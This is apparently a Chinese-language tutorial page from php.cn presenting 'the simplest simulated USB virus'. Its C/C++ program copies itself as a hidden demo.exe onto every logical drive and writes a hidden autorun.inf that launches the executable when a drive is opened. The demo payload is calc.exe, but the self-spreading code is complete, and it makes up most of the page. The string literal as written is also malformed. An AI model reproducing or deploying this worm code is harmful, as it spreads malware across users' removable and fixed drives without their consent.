autorun.inf是我们电脑使用中比较常见的系统文件 ,其作用是允许在双击磁盘时自动运行指定的某个文件。
下面介绍几个api函数
1.dword getlogicaldrivestrings(dword nbufferlength, // size of bufferlptstr lpbuffer // drive strings buffer);
2.char *strncpy(char *dest,char *src,size_t n);第1个参数:char *strdest目的字符串指针。 第2个参数:const char *strsource源字符串指针。 第3个参数:size_t count 拷贝长度。 返回值:目的字符串指针。
下面是c/c++代码
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
char *gstrAutoRun = "[autorun]
open=calc.exe
shell\open\Command=calc.exe
shell\explore=资源管理器(&X)
shell\explore\Command=calc.exe
shellexecute=calc.exe
shell\Auto\Command=calc.exe";
void Infect(char *pstrFilePath)
{
char strDriveStrings[MAXBYTE] = { 0 };
DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);
DWORD dwError = 0;
for (size_t i = 0; i < dwDriveStrLen; i += 4)
{
char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };
strncpy(strRoot, &strDriveStrings[i], 4);
strcpy(strTargetPath, strRoot);
strcat(strTargetPath, "demo.exe");
if (!CopyFileA(pstrFilePath,strTargetPath,false))
{
dwError = GetLastError();
}
SetFileAttributesA(strTargetPath, FILE_ATTRIBUTE_HIDDEN);
strcpy(strTargetPath, strRoot);
strcat(strTargetPath, "autorun.inf");
HANDLE hFile = CreateFileA(strTargetPath, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,nullptr);
DWORD dwLen = 0;
WriteFile(hFile, gstrAutoRun, strlen(gstrAutoRun), &dwLen, nullptr);
CloseHandle(hFile);
}
}
int main()
{
char strSelfPath[MAX_PATH] = { 0 };
GetModuleFileNameA(nullptr, strSelfPath, MAX_PATH);
Infect(strSelfPath);
return 0;
}以上就是 最简单的模拟U盘病毒(Autorun.inf)的内容,更多相关内容请关注PHP中文网(www.php.cn)!
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号